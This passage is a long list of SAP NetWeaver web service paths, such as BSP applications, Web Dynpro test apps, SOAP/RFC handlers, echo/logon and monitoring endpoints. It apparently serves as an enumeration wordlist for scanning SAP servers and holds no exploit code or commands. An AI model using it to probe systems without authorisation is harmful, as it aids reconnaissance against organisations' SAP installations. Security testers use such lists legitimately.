sap/bc/bsp/sap/esh_sap_link
sap/bc/bsp/sap/esh_sapgui_exe
sap/bc/bsp/sap/frontend_print
sap/bc/bsp/sap/graph_bsp_test
sap/bc/bsp/sap/graph_bsp_test/Mimes
sap/bc/bsp/sap/graph_tut_chart
sap/bc/bsp/sap/graph_tut_chart/Mimes
sap/bc/bsp/sap/graph_tut_jnet
sap/bc/bsp/sap/graph_tut_jnet/Mimes
sap/bc/bsp/sap/graph_tutorials
sap/bc/bsp/sap/graph_tutorials/mimes
sap/bc/bsp/sap/gsbirp
sap/bc/bsp/sap/hap_document
sap/bc/bsp/sap/hap_q_profile
sap/bc/bsp/sap/hr_expert
sap/bc/bsp/sap/htmlb_samples
sap/bc/bsp/sap/ic_base
sap/bc/bsp/sap/ic_frw_notify
sap/bc/bsp/sap/iccmp_bp_cnfirm
sap/bc/bsp/sap/iccmp_hdr_cntnr
sap/bc/bsp/sap/iccmp_hdr_cntnt
sap/bc/bsp/sap/iccmp_header
sap/bc/bsp/sap/iccmp_ssc_ll/
sap/bc/bsp/sap/icf
sap/bc/bsp/sap/icf_notify_poll
sap/bc/bsp/sap/icfrecorder
sap/bc/bsp/sap/icm
sap/bc/bsp/sap/it00
sap/bc/bsp/sap/it01
sap/bc/bsp/sap/it02
sap/bc/bsp/sap/it03
sap/bc/bsp/sap/it04
sap/bc/bsp/sap/it05
sap/bc/bsp/sap/itsm
sap/bc/bsp/sap/me_fw_install
sap/bc/bsp/sap/merep_app_meta
sap/bc/bsp/sap/ppm
sap/bc/bsp/sap/ppm_detail
sap/bc/bsp/sap/public
sap/bc/bsp/sap/public/
sap/bc/bsp/sap/public/FormGraphics
sap/bc/bsp/sap/public/bc
sap/bc/bsp/sap/public/graphics
sap/bc/bsp/sap/rmpspb_case
sap/bc/bsp/sap/rmpspb_casenote
sap/bc/bsp/sap/rsrthemes_iview
sap/bc/bsp/sap/sam_demo
sap/bc/bsp/sap/sam_notifying
sap/bc/bsp/sap/sam_sess_queue
sap/bc/bsp/sap/sapsign
sap/bc/bsp/sap/sapterm
sap/bc/bsp/sap/sbsp_dal_demo
sap/bc/bsp/sap/sbspext_bsp
sap/bc/bsp/sap/sbspext_htmlb
sap/bc/bsp/sap/sbspext_phtmlb
sap/bc/bsp/sap/sbspext_table
sap/bc/bsp/sap/sbspext_xhtmlb
sap/bc/bsp/sap/scpbspconvertuc
sap/bc/bsp/sap/sem_upwb
sap/bc/bsp/sap/sf_webform_01
sap/bc/bsp/sap/sf_webform_02
sap/bc/bsp/sap/sf_webform_03
sap/bc/bsp/sap/sf_webform_04
sap/bc/bsp/sap/sfint_demo01
sap/bc/bsp/sap/sfint_demo02
sap/bc/bsp/sap/sfint_demo03
sap/bc/bsp/sap/sfint_demo04
sap/bc/bsp/sap/sicf_login_test
sap/bc/bsp/sap/sicf_login_test/
sap/bc/bsp/sap/sicf_login_test/test
sap/bc/bsp/sap/sicf_login_test/testNoRedirect
sap/bc/bsp/sap/smart_forms
sap/bc/bsp/sap/spi_admin
sap/bc/bsp/sap/spi_monitor
sap/bc/bsp/sap/spi_procmonitor
sap/bc/bsp/sap/srm_demo_bspext
sap/bc/bsp/sap/srm_demo_note
sap/bc/bsp/sap/srm_demo_record
sap/bc/bsp/sap/srm_doc_test
sap/bc/bsp/sap/srm_gensp_query
sap/bc/bsp/sap/srm_note
sap/bc/bsp/sap/srm_prop
sap/bc/bsp/sap/srm_record
sap/bc/bsp/sap/srmclfrm
sap/bc/bsp/sap/srmps_browser
sap/bc/bsp/sap/srmps_favorites
sap/bc/bsp/sap/srmps_history
sap/bc/bsp/sap/srmps_metadata
sap/bc/bsp/sap/srmps_search
sap/bc/bsp/sap/srt_browser
sap/bc/bsp/sap/ssf_techinf
sap/bc/bsp/sap/ssfdemodigsig
sap/bc/bsp/sap/ssfdemodigsig2
sap/bc/bsp/sap/swfmod_portal
sap/bc/bsp/sap/swh_demo_calc
sap/bc/bsp/sap/swn_config
sap/bc/bsp/sap/swn_message1
sap/bc/bsp/sap/swn_wiexecute
sap/bc/bsp/sap/swxtraagent
sap/bc/bsp/sap/swxtrareq
sap/bc/bsp/sap/sxidemo_agcy_ui
sap/bc/bsp/sap/sxms_alertrules
sap/bc/bsp/sap/sxslt_training
sap/bc/bsp/sap/system
sap/bc/bsp/sap/system640
sap/bc/bsp/sap/system_priv_01
sap/bc/bsp/sap/system_priv_02
sap/bc/bsp/sap/system_priv_03
sap/bc/bsp/sap/system_private
sap/bc/bsp/sap/system_public
sap/bc/bsp/sap/system_test
sap/bc/bsp/sap/t_sam_demo
sap/bc/bsp/sap/thtmlb_scripts
sap/bc/bsp/sap/thtmlb_styles
sap/bc/bsp/sap/tunguska
sap/bc/bsp/sap/tunguska_detail
sap/bc/bsp/sap/tutorial_1
sap/bc/bsp/sap/tutorial_2
sap/bc/bsp/sap/tutorial_2htmlb
sap/bc/bsp/sap/tutorial_3
sap/bc/bsp/sap/tutorial_3_mvc
sap/bc/bsp/sap/tutorial_4
sap/bc/bsp/sap/tutorial_4_mvc
sap/bc/bsp/sap/tutorial_cache
sap/bc/bsp/sap/uddiclientfind
sap/bc/bsp/sap/uddiclpublish
sap/bc/bsp/sap/uicmp_ltx
sap/bc/bsp/sap/upwb_sem
sap/bc/bsp/sap/upwb_test_otr
sap/bc/bsp/sap/upx_exec
sap/bc/bsp/sap/upx_exec2
sap/bc/bsp/sap/uws_form_servic
sap/bc/bsp/sap/wap_push
sap/bc/bsp/sap/webdynprodemos
sap/bc/bsp/sap/wp_sess_test2
sap/bc/bsp/sap/wscb
sap/bc/bsp/sap/wsi_oci_bsp
sap/bc/bsp/sap/wsi_oci_bsp_mvc
sap/bc/bsp/sap/xi_pf_perf_moni
sap/bc/bsp/sap/xi_pf_test
sap/bc/bsp/sap/xmb_bsp_log
sap/bc/bsp/scmb
sap/bc/bsp/scmb/df_web2
sap/bc/bsp_dev
sap/bc/bw_test
sap/bc/cachetest
sap/bc/ccms
sap/bc/ccms/
sap/bc/ccms//Specto
sap/bc/ccms/MarketSet
sap/bc/ccms/monitoring
sap/bc/ccms/monitoring/GRMG_APP
sap/bc/ccms/monitoringCCMS_XML
sap/bc/ce_url
sap/bc/cimom
sap/bc/cms
sap/bc/contentserver
sap/bc/crm_bsp_dl
sap/bc/dal
sap/bc/dal/demoB
sap/bc/daldemoA
sap/bc/doc
sap/bc/doc/
sap/bc/doc/browser
sap/bc/doc/mast
sap/bc/doc/meta
sap/bc/doc/metadata
sap/bc/doc/tmpl
sap/bc/doc/tran
sap/bc/docu
sap/bc/dr
sap/bc/ecatt
sap/bc/ecatt/
sap/bc/ecatt/ecatt_recorder
sap/bc/ecatt/ecattping
sap/bc/ecatt/log_provider
sap/bc/echo
sap/bc/echo/
sap/bc/echo/logon
sap/bc/echo/logon_base64
sap/bc/echo/redirect
sap/bc/error
sap/bc/error/
sap/bc/error/list
sap/bc/error/template
sap/bc/error/webgui
sap/bc/esf
sap/bc/formabsdelete
sap/bc/fp
sap/bc/fpads
sap/bc/generate
sap/bc/generate/poll
sap/bc/graphics
sap/bc/graphics/net
sap/bc/gui
sap/bc/gui/its
sap/bc/gui/sap
sap/bc/gui/sap/its/
sap/bc/gui/sap/its/BWSP
sap/bc/gui/sap/its/BWWF_WI_DECI
sap/bc/gui/sap/its/BWWI_EXECUTE
sap/bc/gui/sap/its/CCMS_APPSRVLIS
sap/bc/gui/sap/its/CCMS_DBBUFARCH
sap/bc/gui/sap/its/CERTMAP
sap/bc/gui/sap/its/CERTREQ
sap/bc/gui/sap/its/CRM_CIC_RABOX
sap/bc/gui/sap/its/GRM_WRAPPER
sap/bc/gui/sap/its/MININOTES
sap/bc/gui/sap/its/MY_PROFILEMATC
sap/bc/gui/sap/its/RSAU_STATUS
sap/bc/gui/sap/its/SAPSIGN
sap/bc/gui/sap/its/SAP_GENERATE
sap/bc/gui/sap/its/SSFIDEMODIGSIG
sap/bc/gui/sap/its/STATUSPANEL
sap/bc/gui/sap/its/STERM_ITS
sap/bc/gui/sap/its/TEST_XMLPARSER
sap/bc/gui/sap/its/WSI_OCI_ITS
sap/bc/gui/sap/its/XML_DTD_01
sap/bc/gui/sap/its/alinkviewer
sap/bc/gui/sap/its/bwca
sap/bc/gui/sap/its/designs
sap/bc/gui/sap/its/my_qualis
sap/bc/gui/sap/its/my_requirement
sap/bc/gui/sap/its/sample
sap/bc/gui/sap/its/sample/
sap/bc/gui/sap/its/sample/IAC_CALENDAR
sap/bc/gui/sap/its/sample/IAC_FLIGHT
sap/bc/gui/sap/its/sample/IAC_INPUT
sap/bc/gui/sap/its/sample/IAC_SE38
sap/bc/gui/sap/its/sample/IAC_TABLE
sap/bc/gui/sap/its/sample/IAC_TEXTEDIT
sap/bc/gui/sap/its/sample/IAC_TOOLBAR
sap/bc/gui/sap/its/sample/IAC_TREE1
sap/bc/gui/sap/its/sample/IAC_TREE2
sap/bc/gui/sap/its/sample/iAC_HTML
sap/bc/gui/sap/its/test
sap/bc/gui/sap/its/test/
sap/bc/gui/sap/its/test/it
sap/bc/gui/sap/its/test/it/
sap/bc/gui/sap/its/test/it/IT12
sap/bc/gui/sap/its/test/it/IT13
sap/bc/gui/sap/its/test/it/ITRBX
sap/bc/gui/sap/its/test/it/it00
sap/bc/gui/sap/its/test/it/it19
sap/bc/gui/sap/its/test/webgui_end
sap/bc/gui/sap/its/test/webgui_tj
sap/bc/gui/sap/its/test/webgui_txend
sap/bc/gui/sap/its/webgui
sap/bc/gui/sap/its/webgui/!
sap/bc/icf
sap/bc/icf/
sap/bc/icf/demo
sap/bc/icf/demo/example_1
sap/bc/icf/recorder
sap/bc/icf/verification
sap/bc/icman
sap/bc/icman/test01
sap/bc/idoc_xml
sap/bc/igs_data
sap/bc/kw
sap/bc/kw/
sap/bc/kw/K/Link
sap/bc/kw/fs
sap/bc/kw/mime
sap/bc/kw/skwr
sap/bc/mlt
sap/bc/mlt/
sap/bc/mlt//vb
sap/bc/mlt/slim
sap/bc/mlt/slim/
sap/bc/mlt/slim//lang_plus
sap/bc/mlt/slim/branching
sap/bc/mlt/slim/pcx
sap/bc/mlt/slim/pcx_plus
sap/bc/mlt/test
sap/bc/mlt/tmware
sap/bc/mlt/trados
sap/bc/notify
sap/bc/notify/polling
sap/bc/ping
sap/bc/print
sap/bc/rehm
sap/bc/report
sap/bc/sapits_mimes
sap/bc/smart_forms
sap/bc/soap
sap/bc/soap/
sap/bc/soap/doc
sap/bc/soap/ici
sap/bc/soap/ici_ssl
sap/bc/soap/rfc
sap/bc/soap/wsdl
sap/bc/soap/wsdl11
sap/bc/soap/wsdlservices
sap/bc/spi_gate
sap/bc/srm
sap/bc/srm/rcm_webdav
sap/bc/srm/rcm_webdav/
sap/bc/srm/rcm_webdav/s_area_cmg
sap/bc/srm/rcm_webdav/s_area_rms
sap/bc/srt
sap/bc/srt/
sap/bc/srt/IDoc
sap/bc/srt/esf
sap/bc/srt/rfc
sap/bc/srt/rfc/
sap/bc/srt/rfc/OSP
sap/bc/srt/rfc/sap
sap/bc/srt/sap/
sap/bc/srt/sap/Detailed_flight_info_get
sap/bc/srt/sap/ER_REGISTRY_SUPPORT_SERVICE
sap/bc/srt/sap/II_TEST_IN_SYNC
sap/bc/srt/sap/ME_RT_DSD_WS_64
sap/bc/srt/sap/QUERY_VIEW_DATA
sap/bc/srt/sap/RSDAW_NEARLINE_SERVER
sap/bc/srt/sap/RSOBJSALTERNODEREFS
sap/bc/srt/sap/RSOBJS_ALTER_NODE_REFS
sap/bc/srt/sap/RSOBJS_CHECK
sap/bc/srt/sap/RSOBJS_DELETE
sap/bc/srt/sap/RSOBJS_GET_NODES
sap/bc/srt/sap/RSOBJS_INIT
sap/bc/srt/sap/RSOBJS_WHERE_USED_LIST
sap/bc/srt/sap/RSPO_SXOMS_DEFINE_PRINTER
sap/bc/srt/sap/RSPO_SXOMS_DELETE_PRINTER
sap/bc/srt/sap/RSPO_SXOMS_GET_DEVICE_TYPES
sap/bc/srt/sap/RSPO_SXOMS_GET_TRAY_INFO
sap/bc/srt/sap/RSPO_SXOMS_PUSH_ROMS_LOMS
sap/bc/srt/sap/RSPO_SXOMS_UPDATE_PRINTER
sap/bc/srt/sap/SAP_RPE_SEQUENCE
sap/bc/srt/sap/SBIZC_AUTHOR
sap/bc/srt/sap/SBIZC_AUTHORING
sap/bc/srt/sap/SBIZC_DETAIL
sap/bc/srt/sap/SBIZC_TEST_AUTHOR_INIT
sap/bc/srt/sap/SBIZC_WS_TEST
sap/bc/srt/sap/SRTFT_MASS_CONFIGURATION
sap/bc/srt/sap/SRTFT_SYSTEM_METADATA_ACCESS
sap/bc/srt/sap/SRT_TESTS_FB_ADD_WS
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST01_WS
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST02_WS
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST03_WS
sap/bc/srt/sap/SRT_TESTS_FB_SUM_WS
sap/bc/srt/sap/SXIDAL_FLIGHTSEATAVAIL_CHECK
sap/bc/srt/sap/SYNCCALLSECURITYHIGHNOAUTOGEN
sap/bc/srt/sap/SYNCCALLSECURITYLOWAUTOGEN
sap/bc/srt/sap/TEST_WEBSERVICE_WRITE
sap/bc/srt/sap/WDYBUILDINBOX
sap/bc/srt/sap/WDYGETDC
sap/bc/srt/sap/WDYGETTF
sap/bc/srt/sap/WDYSETDC
sap/bc/srt/sap/WDYUPDATETF
sap/bc/srt/sap/WS_ORDER_BE_IN
sap/bc/srt/sap/ob_wsd_test02
sap/bc/srt/sap/xmla
sap/bc/srt/wsil
sap/bc/srt/xip
sap/bc/srt/xip/sap
sap/bc/testzone
sap/bc/testzone/
sap/bc/testzone/depot_select
sap/bc/testzone/result_rep
sap/bc/verification/
sap/bc/verification/itsplugin
sap/bc/verification/stateful_ping
sap/bc/wappush
sap/bc/wd_trace_tool
sap/bc/wdvd
sap/bc/webapp
sap/bc/webdynpro
sap/bc/webdynpro/sap
sap/bc/webdynpro/sap/
sap/bc/webdynpro/sap/CCMSBI_WAST_EXTR_TESTENV
sap/bc/webdynpro/sap/CNP_LIGHT_TEST
sap/bc/webdynpro/sap/DBA_COCKPIT
sap/bc/webdynpro/sap/DEMO_CONTEXT_CHANGES
sap/bc/webdynpro/sap/DEMO_ROADMAP
sap/bc/webdynpro/sap/DEMO_SIMPLE_MAIN
sap/bc/webdynpro/sap/DEMO_TABLE
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_KEY
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_NST
sap/bc/webdynpro/sap/DemoDynamic
sap/bc/webdynpro/sap/DemoTree
sap/bc/webdynpro/sap/EXAMPLE_WDABAP_3
sap/bc/webdynpro/sap/KEY_FIGURE_MONITOR
sap/bc/webdynpro/sap/KEY_FIGURE_TREND
sap/bc/webdynpro/sap/MASTERMIND
sap/bc/webdynpro/sap/OTHELLO
sap/bc/webdynpro/sap/POWL
sap/bc/webdynpro/sap/POWL_COLLECTOR
sap/bc/webdynpro/sap/POWL_MASTER_QUERY
sap/bc/webdynpro/sap/POWL_PERS_COMP
sap/bc/webdynpro/sap/RCM_DOC_CLIENT_test
sap/bc/webdynpro/sap/RCM_ORGANIZER
sap/bc/webdynpro/sap/RCM_RECORD
sap/bc/webdynpro/sap/RCM_SP
sap/bc/webdynpro/sap/RCM_SP_URL
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_ALVFNC
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLORS
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLSCR
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_CV
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EDIT
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EVENTS
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_F4
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_MIG
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PARTS
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PROPS
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_SIMPLE
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOL
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOOLBR
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TREE
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA_DOWNLOAD
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_ALVFNC
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLORS
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLSCR
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_CV
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT_M
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EVENTS
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_IN_WDW
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_PROPS
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SELECT
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SIMPLE
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TOOLBR
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TREE
sap/bc/webdynpro/sap/TEST_BAD_LINK
sap/bc/webdynpro/sap/TEST_MODIFY_VIEW
sap/bc/webdynpro/sap/TEST_RUNTIME_REPOSITORY
sap/bc/webdynpro/sap/TestUpload
sap/bc/webdynpro/sap/WDK_A_SE91
sap/bc/webdynpro/sap/WDK_SPOOL_TO_PDF
sap/bc/webdynpro/sap/WDR_DOCU_HELPER
sap/bc/webdynpro/sap/WDR_MESSAGE_AREA
sap/bc/webdynpro/sap/WDR_TEST_ADOBE
sap/bc/webdynpro/sap/WDR_TEST_DDIC_SHLP
sap/bc/webdynpro/sap/WDR_TEST_DOCU
sap/bc/webdynpro/sap/WDR_TEST_EVENTS
sap/bc/webdynpro/sap/WDR_TEST_ICON_SOURCES
sap/bc/webdynpro/sap/WDR_TEST_IT05
sap/bc/webdynpro/sap/WDR_TEST_JNDI_PROVIDER
sap/bc/webdynpro/sap/WDR_TEST_LAYOUTS
sap/bc/webdynpro/sap/WDR_TEST_MODIFY_VIEW
sap/bc/webdynpro/sap/WDR_TEST_NAVIGATION
sap/bc/webdynpro/sap/WDR_TEST_OVS
sap/bc/webdynpro/sap/WDR_TEST_P00001
sap/bc/webdynpro/sap/WDR_TEST_P00002
sap/bc/webdynpro/sap/WDR_TEST_P00003
sap/bc/webdynpro/sap/WDR_TEST_P13N
sap/bc/webdynpro/sap/WDR_TEST_POPUPS
sap/bc/webdynpro/sap/WDR_TEST_POPUPS_RT
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE2
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE_POP
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC2
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC_POP
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_OBN
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_PAGE
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_TARGET
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_POPUP
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS_IN
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_WORKPROTECT
sap/bc/webdynpro/sap/WDR_TEST_RUNTIME
sap/bc/webdynpro/sap/WDR_TEST_TABLE
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CHILD
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CLOSE
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_LOGOFF
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_RESUME
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUITE
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_A
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_B
sap/bc/webdynpro/sap/WDR_UIE_LIBRARY
sap/bc/webdynpro/sap/apb_launchpad
sap/bc/webdynpro/sap/apb_launchpad_nwbc
sap/bc/webdynpro/sap/apb_lpd_light_start
sap/bc/webdynpro/sap/apb_lpd_start_url
sap/bc/webdynpro/sap/appl_log_trc_viewer
sap/bc/webdynpro/sap/appl_soap_management
sap/bc/webdynpro/sap/application_exit
sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
sap/bc/webdynpro/sap/cnp_light_test
sap/bc/webdynpro/sap/configure_application
sap/bc/webdynpro/sap/configure_component
sap/bc/webdynpro/sap/demo_messages
sap/bc/webdynpro/sap/demo_messages2
sap/bc/webdynpro/sap/demo_variable_dropdown
sap/bc/webdynpro/sap/demo_wda_quiz
sap/bc/webdynpro/sap/demo_wda_table
sap/bc/webdynpro/sap/esh_adm_smoketest_ui
sap/bc/webdynpro/sap/esh_admin_ui_component
sap/bc/webdynpro/sap/esh_eng_modelling
sap/bc/webdynpro/sap/esh_search_results.ui
sap/bc/webdynpro/sap/ios_test_helloworld_ms
sap/bc/webdynpro/sap/ios_test_helloworld_so
sap/bc/webdynpro/sap/ios_test_simple_ms
sap/bc/webdynpro/sap/ios_test_simple_so
sap/bc/webdynpro/sap/its
sap/bc/webdynpro/sap/powl_test_feeder
sap/bc/webdynpro/sap/ptm_assign_s_ui
sap/bc/webdynpro/sap/ptm_jf_worklist_ui
sap/bc/webdynpro/sap/ptm_maintain_jf_ui
sap/bc/webdynpro/sap/rcm_multistring_edit_example
sap/bc/webdynpro/sap/rcm_poid_info_example
sap/bc/webdynpro/sap/rcm_property_query_example
sap/bc/webdynpro/sap/salv_wd_demo_table_dfault
sap/bc/webdynpro/sap/salv_wd_submit
sap/bc/webdynpro/sap/salv_wd_test_col_field
sap/bc/webdynpro/sap/salv_wd_test_conf_caller
sap/bc/webdynpro/sap/salv_wd_test_config1
sap/bc/webdynpro/sap/salv_wd_test_config_api
sap/bc/webdynpro/sap/salv_wd_test_config_api2
sap/bc/webdynpro/sap/salv_wd_test_datatypes
sap/bc/webdynpro/sap/salv_wd_test_dyn1
sap/bc/webdynpro/sap/salv_wd_test_extended
sap/bc/webdynpro/sap/salv_wd_test_file_upload
sap/bc/webdynpro/sap/salv_wd_test_image1
sap/bc/webdynpro/sap/salv_wd_test_modif1
sap/bc/webdynpro/sap/salv_wd_test_no_ddic
sap/bc/webdynpro/sap/salv_wd_test_non_portal
sap/bc/webdynpro/sap/salv_wd_test_set_data
sap/bc/webdynpro/sap/salv_wd_test_set_data1
sap/bc/webdynpro/sap/salv_wd_test_simple1
sap/bc/webdynpro/sap/salv_wd_test_table_edit2
sap/bc/webdynpro/sap/salv_wd_test_table_f4
sap/bc/webdynpro/sap/salv_wd_test_table_tol
sap/bc/webdynpro/sap/salv_wd_test_table_tol2
sap/bc/webdynpro/sap/salv_wd_test_translation
sap/bc/webdynpro/sap/sh_adm_smoketest_files
sap/bc/webdynpro/sap/test_ddic
sap/bc/webdynpro/sap/wd_analyze_config_appl
sap/bc/webdynpro/sap/wd_analyze_config_comp
sap/bc/webdynpro/sap/wd_analyze_config_default
sap/bc/webdynpro/sap/wd_analyze_config_user
sap/bc/webdynpro/sap/wd_layout_cnp_light
sap/bc/webdynpro/sap/wd_personalize_ddic_valuehelp
sap/bc/webdynpro/sap/wd_tut_alv
sap/bc/webdynpro/sap/wd_tut_componentdetail
sap/bc/webdynpro/sap/wd_tut_componentusage
sap/bc/webdynpro/sap/wd_tut_dialogboxes
sap/bc/webdynpro/sap/wdhc_application
sap/bc/webdynpro/sap/wdk_gaf_template
sap/bc/webdynpro/sap/wdk_oif_template
sap/bc/webdynpro/sap/wdk_qaf_template
sap/bc/webdynpro/sap/wdr_inplace_demo1
sap/bc/webdynpro/sap/wdr_inplace_demo2
sap/bc/webdynpro/sap/wdr_ovs_test
sap/bc/webdynpro/sap/wdr_package_srvs
sap/bc/webdynpro/sap/wdr_popup_to_confirm_test
sap/bc/webdynpro/sap/wdr_replace_if_wdl
sap/bc/webdynpro/sap/wdr_test_adobe_pdf_only
sap/bc/webdynpro/sap/wdr_test_appl_def_vh
sap/bc/webdynpro/sap/wdr_test_application_api
sap/bc/webdynpro/sap/wdr_test_bg_blend
sap/bc/webdynpro/sap/wdr_test_chat
sap/bc/webdynpro/sap/wdr_test_cmp_usage_group
sap/bc/webdynpro/sap/wdr_test_cmpusage
sap/bc/webdynpro/sap/wdr_test_cmpusage4
sap/bc/webdynpro/sap/wdr_test_config
sap/bc/webdynpro/sap/wdr_test_config2
sap/bc/webdynpro/sap/wdr_test_configmain
sap/bc/webdynpro/sap/wdr_test_context
sap/bc/webdynpro/sap/wdr_test_dynamic
sap/bc/webdynpro/sap/wdr_test_enhancements
sap/bc/webdynpro/sap/wdr_test_exit_plug
sap/bc/webdynpro/sap/wdr_test_ext_mapping
sap/bc/webdynpro/sap/wdr_test_extended_path
sap/bc/webdynpro/sap/wdr_test_gantt
sap/bc/webdynpro/sap/wdr_test_global_settings
sap/bc/webdynpro/sap/wdr_test_help
sap/bc/webdynpro/sap/wdr_test_input
sap/bc/webdynpro/sap/wdr_test_it05_nopatt
sap/bc/webdynpro/sap/wdr_test_mailto
sap/bc/webdynpro/sap/wdr_test_mandatory
sap/bc/webdynpro/sap/wdr_test_misc
sap/bc/webdynpro/sap/wdr_test_msg_manager_00
sap/bc/webdynpro/sap/wdr_test_navigation6
sap/bc/webdynpro/sap/wdr_test_navigation7
sap/bc/webdynpro/sap/wdr_test_navigation_00
sap/bc/webdynpro/sap/wdr_test_ovs2
sap/bc/webdynpro/sap/wdr_test_p00004
sap/bc/webdynpro/sap/wdr_test_p00006
sap/bc/webdynpro/sap/wdr_test_p00007
sap/bc/webdynpro/sap/wdr_test_p00008
sap/bc/webdynpro/sap/wdr_test_p00009
sap/bc/webdynpro/sap/wdr_test_p00010
sap/bc/webdynpro/sap/wdr_test_p00011
sap/bc/webdynpro/sap/wdr_test_paddless_window
sap/bc/webdynpro/sap/wdr_test_pers_imp
sap/bc/webdynpro/sap/wdr_test_pers_imp_exp
sap/bc/webdynpro/sap/wdr_test_popup_01
sap/bc/webdynpro/sap/wdr_test_popup_inplug
sap/bc/webdynpro/sap/wdr_test_popup_to_confirm
sap/bc/webdynpro/sap/wdr_test_popups_rt
sap/bc/webdynpro/sap/wdr_test_popups_rt_00
sap/bc/webdynpro/sap/wdr_test_select_options
sap/bc/webdynpro/sap/wdr_test_ui_elements
sap/bc/webdynpro/sap/wdr_test_ur_browser
sap/bc/webdynpro/sap/wdr_transport_srvs
sap/bc/webdynpro/sap/wdt_alv
sap/bc/webdynpro/sap/wdt_bg_scatter
sap/bc/webdynpro/sap/wdt_componentdetail
sap/bc/webdynpro/sap/wdt_componentusage
sap/bc/webdynpro/sap/wdt_dialogboxes
sap/bc/webdynpro/sap/wdt_ext_map_reuse
sap/bc/webdynpro/sap/wdt_flightlist
sap/bc/webdynpro/sap/wdt_master_detail
sap/bc/webdynpro/sap/wdt_quiz
sap/bc/webdynpro/sap/wdt_table
sap/bc/webdynpro/sap/wdt_tree
sap/bc/webdynpro/sap/wdt_tree_table_by_key
sap/bc/webflow
sap/bc/webflow/
sap/bc/webflow/demo
sap/bc/webflow/demo/
sap/bc/webflow/demo/trareq_update
sap/bc/webflow/demo/wf_demo_calc_01
sap/bc/webflow/test
sap/bc/webflow/test/
sap/bc/webflow/test/get_data
sap/bc/webflow/test/inc_async
sap/bc/webflow/test/inc_sync
sap/bc/webflow/test/test_datatypes
sap/bc/webflow/test/test_get_xml
sap/bc/webflow/test/test_show_xml
sap/bc/webflow/wshandler
sap/bc/webrfc
sap/bc/workflow
sap/bc/workflow/
sap/bc/workflow/shortcut
sap/bc/workflow/workflow_api
sap/bc/workflow_xml
sap/bc/xmb
sap/bc/xml
sap/bc/xmsmsg
sap/bc/xrfc
sap/bc/xrfc_test
sap/bw
sap/ca
sap/ca/att_provide
sap/crm
sap/es/cockpit
sap/es/getdocument
sap/es/opensearch
sap/es/opensearch/description
sap/es/opensearch/list
sap/es/opensearch/search
sap/es/redirect
sap/es/saplink
sap/es/search
sap/icm/admin
sap/meData
sap/monitoring
sap/monitoring/
sap/monitoring/ComponentInfo
sap/monitoring/SystemInfo
sap/option
sap/public
sap/public/
sap/public/bc
sap/public/bc/
sap/public/bc/NWDEMO_MODEL
sap/public/bc/NW_ESH_TST_AUTO
sap/public/bc/icons
sap/public/bc/icons_rtl
sap/public/bc/its
sap/public/bc/its/
sap/public/bc/its/designs
sap/public/bc/its/mimes
sap/public/bc/its/mimes/system/SL/page/hourglass.html
sap/public/bc/its/mobile/itsmobile00
sap/public/bc/its/mobile/itsmobile01
sap/public/bc/its/mobile/rfid
sap/public/bc/its/mobile/start
sap/public/bc/its/mobile/test
sap/public/bc/pictograms
sap/public/bc/sicf_login_run
sap/public/bc/trex
sap/public/bc/ur
sap/public/bc/wdtracetool
sap/public/bc/webdynpro
sap/public/bc/webdynpro/
sap/public/bc/webdynpro/ViewDesigner
